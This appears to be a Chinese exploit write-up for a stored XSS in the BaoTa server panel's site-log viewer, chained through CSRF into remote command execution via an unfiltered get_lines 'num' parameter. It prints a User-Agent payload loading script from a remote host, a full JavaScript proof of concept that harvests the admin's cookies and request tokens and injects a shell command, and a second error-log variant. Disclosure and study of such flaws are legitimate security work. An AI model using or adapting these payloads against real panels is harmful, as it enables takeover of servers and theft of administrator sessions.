You are on page 1of 9

准备工作:

找到网站名

JS payload

复现过程:
此时的 wwwroot 目录下面是没有文件的

发包

User-Agent: </tExtArEa>"><script src=http://URL/1.js></script>

点击网站日志
成功 RCE
原理分析

这里我用的环境是 7.9.1 版

目前的官网最新版也是 7.9.1 版本

复现流程可以看出来是 xss+后台 RCE 的组合拳

首先是 xss,我们可以看到日志可以成功用</textarea>闭合,然后就是经典的 script src


分析源码,看看宝塔是如何读取日志的

这里有一个 getsitelogs 函数,其中获取了网站的日志路径,然后传进了 GetNumLines 函数,


跟进去如下

函数里面语句较多,但是并没有任何的过滤
然后 returnMsg 直接 return 回来

其中日志是由 nginx 保存的,宝塔读取日志数据并 return 回来,无任何过滤,加上拼接,即


可造成 xss

那么如何扩大危害造成 rce 呢?宝塔其中有一个 getlines 函数如下

注意一个函数,ExecShell,其中使用了 subprocess.Popen 执行了命令,这也是 Py 自带的执


行命令函数,我们可以看到全程也是无过滤的

那么我们转回来看 getline 函数
先判断了传来的 filename 存不存在,不存在就 return,如果存在的话就往下进行拼接 num
和 filename,所以我们就知道了怎么可以 rce,传一个必定存在的 filename,然后 num 执行
命令就可以了,但因为这是在后台,所以需要 xss+csrf 配合触发

全部 poc

//JQuery preload (optional)


(function(){
var s = document.createElement('script');s.type =
'text/javascript';s.async = true;s.src =
'https://code.jquery.com/jquery-2.1.4.min.js';

(document.getElementsByTagName('head')[0]||document.getElementsByTagN
ame('body')[0]).appendChild(s);
})();

// cookie
let cookies = document.cookie;

function getCookie(sKey) {
if (!sKey) { return null; }
return decodeURIComponent(document.cookie.replace(new
RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-
\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
}

all_headers = {
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0
Safari/537.36",
"Connection":"close",
"Accept-Encoding":"gzip, deflate",
"dnt":"1",
"sec-gpc":"1",
"Cookie": cookies,
"x-cookie-token": getCookie('request_token'),
"Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8",
"x-http-token": $('#request_token_head').attr('token'),
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
}

$.ajax({
url: "/ajax",
type: "get",
data:
{"action":"get_lines","filename":"/etc","num":"|echo 'BT RCE
test ZAC'> /www/wwwroot/1.txt|"}
,
headers: all_headers,
success: function (data) {
console.info(data);
}
});

RCE2:
原理基本一样,不过我们要让他报错,在后面目录输入乱码语句强制报错
http://URL/ÑÞ:wJ„</textarea><script>alert(1)</script>

同 RCE1,这里直接取了错误日志
致谢名单: 孙爱民,H0ly,可笑,广,丞相

有任何问题可以添加本人微信进行交流 zacaq999

You might also like